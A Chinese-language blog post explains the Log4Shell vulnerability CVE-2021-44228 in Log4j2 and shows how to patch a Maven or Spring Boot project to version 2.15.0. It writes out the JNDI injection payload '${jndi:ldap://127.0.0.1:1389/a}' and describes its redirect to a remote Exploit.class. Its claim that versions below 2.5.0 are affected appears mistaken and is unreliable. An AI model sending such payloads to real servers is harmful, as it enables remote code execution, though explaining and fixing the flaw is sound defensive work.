Log4j2 重大漏洞

近来日志框架 Log4j2 爆出的 “核弹级” 漏洞 CVE-2021-44228,攻击者可以通过构造特殊的输入将指令发送到服务器然后由 Log4j2 解析执行!此次漏洞的危险等级和影响范围可以说是空前的,主要是 Log4j2 在 Java 日志框架领域的应用实在是太广泛了,并且漏洞的利用门槛又是如此之低,所以一下子炸开了锅。

就连各大网站的评论区,都能看到 “黑客” 的身影 [doge](这位当然是来搞笑的,知乎用的是 Python 吧)

言归正传。Apache 官方很快发布了漏洞的修复版本 2.15.0, 所有受影响的项目都需要发布补丁进行修复,Javaer 要加班了。

Log4j2 漏洞攻击原理

Log4j2 是 Java 中的一款日志框架,拥有着不错性能。所谓日志就是程序记录运行状态和一些关键信息的,日志中的一些信息可能来源于用户输入,如用户搜索,发表评论等,由于 Log4j2 中的 Lookups 特性,输入的信息可能会被当成指令去执行,如

1
${jndi:ldap://127.0.0.1:1389/a}

借助 jndi 黑客可以将实现编写好的 Java 对象发送到被攻击的 Java 程序去执行,漏洞的复现过程

程序在执行

1
logger.error("${jndi:ldap://127.0.0.1:1389/a}");

并没有按照预期在日志文件中输出 ${jndi:ldap://127.0.0.1:1389/a}, 而是去执行了 jndi lookup 操作,去访问了 ldap://127.0.0.1:1389/a 数据库去查询对象名称,LDAP 将查询结果重定向到 http://127.0.0.1:8888/Exploit.class,让我们的程序再去访问该链接去获取对象然后加载,这个对象就是黑客攻击代码的主要载体,一旦这个对象被加载,对象内的一些静态代码和特定方法就会被执行。

漏洞的修复方案

首先要确定项目有没有受影响。Maven 项目中我们可以在项目依赖中找到 log4j-core 查看其版本号,如果是 2.5.0 以下的版本那就是受影响的(找不到或者使用的是 log4j 1.x 版本的可以暂时不需要处理)。下面是一个线上项目的依赖情况,可以成功复现该漏洞。

我们将 spring-boot-starter-log4j2 手动指定为最新的 2.6.1 版本

1
2
3
4
5
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.6.1</version>
</dependency>

并在 properties 中加入

1
<log4j2.version>2.15.0</log4j2.version>

reload maven 之后,可以看到 log4j 的版本已经升级至 2.15.0

再次运行项目进行验证,控制台正常打印了 ${jndi:ldap://127.0.0.1:1389/a} 这段字符串,并且计算器程序没有被调起,修复成功。